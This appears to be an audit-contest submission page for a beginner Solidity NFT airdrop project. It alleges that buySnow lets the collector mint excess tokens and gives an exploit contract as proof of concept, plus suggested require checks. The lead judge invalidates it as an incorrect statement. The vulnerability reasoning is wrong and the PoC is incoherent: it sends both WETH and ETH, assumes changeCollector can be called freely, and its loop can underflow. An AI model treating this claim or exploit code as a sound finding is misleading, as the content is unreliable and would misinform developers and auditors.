Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Same Address Vulnerability in buySnow Function

Root + Impact

Description

Same Address Vulnerability in buySnow Function: The buySnow function does not handle the case when the message sender is the same as the s_collector. In such a scenario, the function could be exploited to mint an excessive amount of tokens.

// Root cause in the codebase with @> marks to highlight the relevant section
function buySnow(uint256 amount) external payable canFarmSnow {
if (msg.value == (s_buyFee * amount)) {
_mint(msg.sender, amount);
} else {
i_weth.safeTransferFrom(msg.sender, address(this), (s_buyFee * amount));
_mint(msg.sender, amount);
}
s_earnTimer = block.timestamp;
emit SnowBought(msg.sender, amount);
}

Risk

To exploit this vulnerability, an attacker could first call the changeCollector function to set the collector address to their own address. Then, they could repeatedly call the buySnow function, sending the exact amount of WETH required to purchase the desired amount of tokens. Since the message sender and the collector address are the same, the contract would not detect any issues and mint tokens for the attacker.

Proof of Concept

pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ISnow} from "./ISnow.sol";
contract SnowExploit {
address private s_target;
uint256 private s_buyFee;
IERC20 private i_weth;
ISnow private i_snow;
constructor(address _target, uint256 _buyFee, address _weth) {
s_target = _target;
s_buyFee = _buyFee;
i_weth = IERC20(_weth);
i_snow = ISnow(s_target);
}
function exploit(uint256 amount) public payable {
// Change the collector address to the attacker's address
i_snow.changeCollector(msg.sender);
// Mint tokens by repeatedly calling buySnow with the exact WETH amount
while (amount > 0) {
// Calculate the WETH amount required for the current amount of tokens
uint256 wethAmount = (s_buyFee * amount);
// Transfer the required WETH to the target contract
i_weth.transfer(s_target, wethAmount);
// Call buySnow to mint tokens
i_snow.buySnow{value: wethAmount}(amount);
amount -= 1000; // Reduce the token amount for the next iteration
}
}
}

Recommended Mitigation

Revert if the collector tries to change the collector address to itself: In the changeCollector function, add a check to ensure that the new collector address is not the same as the current collector address. If it is, revert the transaction with an error message.

- remove this code
+ add this code
require(msg.sender != s_collector, "Cannot buy Snow if you are the collector."); // Add to `buySnow` function,
require(_newCollector != msg.sender, "Collector cannot be the same as the current collector."); // Add to `changeCollector` function
Updates

Lead Judging Commences

yeahchibyke Lead Judge
3 months ago
yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.